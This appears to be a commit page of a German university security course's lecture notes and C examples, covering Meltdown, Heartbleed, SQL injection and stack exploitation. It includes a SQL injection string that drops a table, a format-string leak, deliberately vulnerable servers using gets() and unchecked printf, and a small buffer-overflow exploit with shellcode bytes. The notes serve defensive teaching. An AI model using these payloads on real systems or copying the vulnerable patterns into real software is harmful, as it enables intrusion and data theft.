Skip to content
Snippets Groups Projects
Commit 14c2d2e8 authored by Peter Gerwinski's avatar Peter Gerwinski
Browse files

Notizen und Beispiele 15. und 22.6.2020

parent a07d50ff
No related branches found
No related tags found
No related merge requests found
Die Meltdown-Sicherheitslücke, 15.06.2020, 16:56:24
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
im Juni 2017 entdeckt
am 3. Januar 2018 veröffentlicht
Prozessoren mit Intel/AMD-Architektur
können mehrere Befehle gleichzeitig ausführen.
Die Umordnung erfolgt vollautomatisch.
Um dies umsetzen zu können, liest der Prozessor bei der Ausführung
mehrere Befehle im Voraus.
Bei if-Verzweigungen gibt das Probleme:
1 if (a == 42)
{
3 int b = 137;
4 int c = a * a + b * b;
...
}
else
{
9 ind d = 13;
int e = a * a - d * d;
...
}
Angenommen, a != 42, dann hat der Prozessor aber möglicherweise bereits
die Zeilen 3 und 4 im Voraus gelesen. Danach geht es aber in Zeile 9
weiter. --> Verlust von Rechenzeit
Wie kann man dies nutzen, um Speicher auszulesen, auf den wir keinen
Lesezugriff haben?
char *password = (char*) 0x0000ef78;
printf ("%s\n", password);
--> Speicherzugriffsfehler
Meltdown: https://de.wikipedia.org/wiki/Meltdown_(Sicherheitsl%C3%BCcke)
; rcx = kernel address
; rbx = probe array
retry:
movzx rax, byte [rcx] ; Lädt den Inhalt der auszulesenden Speicherstelle in Register rax.
; Das führt zu einer Ausnahmebehandlung.
; Der folgende Code wird nur prozessorintern im Voraus ausgeführt.
shl rax, 12 ; Multipliziert den Inhalt des 64-bit Registers rax mit 4096,
; so dass es nun eine Seitenadresse enthält, die vom Inhalt der
; auszulesenden Speicherstelle abhängt.
jz retry ; Beginnt von vorn, wenn das Zero-Flag (und damit hier auch rax)
; gleich 0 ist (Auch bei [rcx]=0 keine Endlosschleife, da aufgrund
; der Ausnahmebehandlung die out-of-order Ausführung schließlich
; abgebrochen wird).
mov rbx, qword [rbx + rax] ; Greift auf eine Speicherstelle auf der Seite zu, deren Index innerhalb
; des probe arrays rbx in rax steht. Dies lädt eine Seite in den Cache,
; deren Adresse vom Inhalt der auszulesenden Speicherstelle abhängt.
Ich möchte die Speichzerzelle an der Adresse rcx auslesen.
Diese Speicherzelle gehört dem Kernel.
Dies geschieht mit Hilfe eines riesengroßen Arrays rbx.
Sender-Thread:
1 uint64_t rax = 0;
char rbx[4000000000]; // Array möglichst groß machen
while (rax == 0)
{
5 uint64_t *rcx = (char *) 0x0000ef78;
rax = *rcx; // --> Speicherzugriffsfehler
// Alles ab hier wird eigentlich nicht mehr ausgeführt.
rax *= 4096; // Größe einer Speicherseite
10 }
char bla = rbx[rax];
Der Empfänger-Thread führt ein Programm aus, das den internen Zustand des
Prozessors ausliest. Dazu führt es Anweisungen aus, die im Beispielangriff mit
Hilfe von Zeitmessungen ermitteln, ob eine bestimmte Speicherseite in den Cache
geladen ist.
Der Empfänger-Thread greift ebenfalls auf das Array rbx zu
und mißt, wie lange der Zugriff dauert.
Der Prozessor hat für den Sender-Thread die Zeilen nach dem Absturz,
also Zeile 9 und Zeile 11, bereits vorausgelesen und im Voraus ausgeführt.
--> An der Stelle, die dem auszulesenden Wert entspricht,
ist der Zugriff auf das Array schneller,
weil die Speicherseite bereits im Voraus geladen wurde.
--> auszulesender Wert ermittelt ;-)
Was kann man dagegen tun?
--> Workaround: Page Table Isolation
Der Kernel weist jedem Prozeß seinen eigenen Speicher zu.
--> Die Speicheradresse eines anderen Programms existiert überhaupt nicht.
--> Existieren denn Speicheradressen des Kernels?
--> Ja, denn sonst dauert das Umschalten bei Systemaufrufen länger.
Page Table Isolation:
Die Speicheradresse des Kernels existiert aus Sicht des Programms überhaupt nicht.
--> Das Umschalten bei Systemaufrufen dauert länger.
--> Performanzeinbußen bis 10%, siehe:
https://www.heise.de/newsticker/meldung/Intel-Benchmarks-zu-Meltdown-Spectre-Performance-sackt-um-bis-zu-10-Prozent-ab-SSD-I-O-deutlich-mehr-3938747.html
Alternative:
Wir verhindern präzise Zeitmessungen durch "Verzittern des Taktes"
Nachteil: Wir verhindern präzise Zeitmessungen.
Die Heartbleed-Sicherheitslücke, 15.06.2020, 17:51:47
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
April 2014: Software-Fehler in OpenSSL
Heartbleed nutzt einen Fehler im Heartbeat-Protokoll von SSL
Heartbeat = Herzschlag = Protokoll, um zu prüfen, ob Verbindung noch besteht
Erklärung der Sicherheitslücke:
https://xkcd.com/1354/
Sicherheitslücke in OpenSSH, 15.06.2020, 18:06:11
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Debian GNU/Linux:
mitgeliefertes OpenSSH wurde von den Debian-Entwicklern compiliert.
--> Compiler-Warnungen: nicht initialisierte Variable
--> Variablen wurden auf 0 initialisiert.
Die nicht initialisierten Variablen waren ein Teil des Zufallsgenerators
zur Erzeugung sicherer Schlüssel.
--> Erzeugte Schlüssel sind nicht mehr so zufällig, wie sie sein müßten.
--> Bestimmte Schlüssel waren angreifbar.
Weitere Themen, 15.06.2020, 18:11:24
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- eigenes Betriebssystem schreiben
--> Motivation suchen, z.B.: Unix-Feeling unter Mikro-Controllern,
z.B. präemptives Multitasking auf einem Arduino
--> Echtzeit-Betriebssystem für Mikrocontroller mit Multitasking:
https://freertos.org/RTOS.html
- eigenes Smartphone bauen
- Innenleben von Firefox
Exploits, 22.06.2020, 15:28:52
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vorab:
Dies ist keine Einladung, anderer Leute Systeme anzugreifen.
Derartige Handlungen sind Straftaten.
Ich erzähle Ihnen dies, damit Sie wissen,
wie Sie sich gegen derartige Angriffe verteidigen können.
Um es gleich vorwegzunehmen:
Gewöhnen Sie sich von vorneherein an,
sauber und ordentlich zu programmieren.
SQL Injection: http://xkcd.com/327/
insert into students values ('Robert', 'Lenhard', '3b');
insert into students values ('Robert'); drop table students; --', 'Lenhard', '3b');
Noch blöder: Java-Browser-Applet enthält Passwörter im Klartext:
http://heise.de/-2812713
Anleitungen für Exploits:
http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson1/index.html
http://www.thesprawl.org/research/exploit-exercises-protostar-stack/
Literatur:
Jon Erickson: Hacking: The Art of Exploitation.
No Starch Press, 2003. ISBN: 1-59327-007-0
Anleitung für den GNU-Debugger (gdb):
http://beej.us/guide/bggdb/
Formatstring-Angriff:
printf (user_string) für Exploit nutzen: %016llx
Server, der Passwort auf dem Stack speichert --> server-0.c
$ ./server-0
Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx
Hello, 00000000004007c7 00007fdb2ced2df0 00000000004007c7 00007fdb2d0f3007
20786c6c36313025 6373316870216948 00007fdb2cbd0068 0000007265746570!
~~~~~~~~~~~~~~~~ ~~~~
Your password, please:
Buffer Overflow für Exploit nutzen: server-[123].c, exploit-*
Funktionsaufruf: Register setzen, Funktion anspringen.
Warum Absturz? Rücksprungadresse wird überschrieben. Blick auf den Stack.
Beispiel: server-1, Einabe des Namens:
Prof. Dr. rer. nat. Dipl.-Phys. Peter Gerwinski
`--------.---------' `--.--'
name_buffer[] überschreiben die Rücksprung-Adresse
Exploit: Rücksprungadresse gezielt überschreiben.
Prof. Dr. rer. nat. Dipl.-Phys. Peter GeXXXXXXXX
`--------.---------' `--.---'
name_buffer[] überschreiben die Rücksprung-Adresse
ersetze z.B. XXXXXXXX durch die Bytes der Zahl 0x55 55 55 55 51 4a
(= Adresse, an der printf() Befehl in Zeile 6 beginnt)
ASCII 0x55 = 'U'
ASCII 0x51 = 'Q'
ASCII 0x4a = 'J'
Prof. Dr. rer. nat. Dipl.-Phys. Peter GeJQUUUU.. ("." = Null-Symbol)
`--------.---------' `--.---'
name_buffer[] überschreiben die Rücksprung-Adresse
Früher möglich: Programm in den Stack schreiben, dorthin springen.
Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
Return Oriented Programming erforderlich
genauer: return-to-libc; noch genauer: return-to-plt
Gezielt Winz-Funktionen anspringen, um Register zu setzen,
danach Programm- und Bibliotheksfunktionen anspringen.
Exploits: aktuelle Sicherheitslücke, 28.12.2016, 13:46:05
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Lücke in PHPMailer erlaubt die Ausführung fremden Codes
https://heise.de/-3582072
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t my_program_address = 0x7fffffffdfb0;
for (int i = 2; i < 0x2a; i++)
write (1, "\x90", 1); // nop
write (1, &my_program_address, 8);
for (int i = 2; i < 34; i++)
write (1, "A", 1);
write (1, "\x48\x83\xec\x60", 4); // sub $0x60,%rsp
write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi
write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax
write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt>
write (1, "\xeb\xfe", 2); // while (1);
write (1, "\n", 1);
return 0;
}
File added
#include <stdio.h>
void hello (void)
{
printf ("Hello, world!\n");
}
int main (void)
{
hello ();
return 0;
}
Prof. Dr. rer. nat. Dipl.-Phys. Peter GeJQUUUU
Peter
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Die Antwort lautet: %d\n", 42);
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Die Antwort lautet: %016llx\n", 42ll); // Ausgabe als 64-Bit-Zahl
return 0; // mit 16 Hex-Ziffern
// %x = hexadezimal, ll = 64-Bit-Zahl, 16 = 16 Ziffern,
// 0 = von links mit Nullen auffüllen
}
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main (void)
{
char name_buffer[100];
char *pass_buffer;
char username[] = "peter";
char password[] = "Hi!ph1sch";
printf ("Your name, please: ");
gets (name_buffer);
printf ("Hello, ");
printf (name_buffer);
printf ("!\n");
pass_buffer = getpass ("Your password, please: ");
if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
printf ("You have access.\n");
else
printf ("Login incorrect.\n");
return 0;
}
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main (void)
{
char name_buffer[100];
char *pass_buffer;
char username[] = "peter";
char password[] = "Hi!ph1sch";
printf ("Your name, please: ");
gets (name_buffer);
printf ("Hello, %s!\n", name_buffer);
pass_buffer = getpass ("Your password, please: ");
if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
printf ("You have access.\n");
else
printf ("Login incorrect.\n");
return 0;
}
#include <stdio.h>
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\n", buffer);
return 0;
}
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment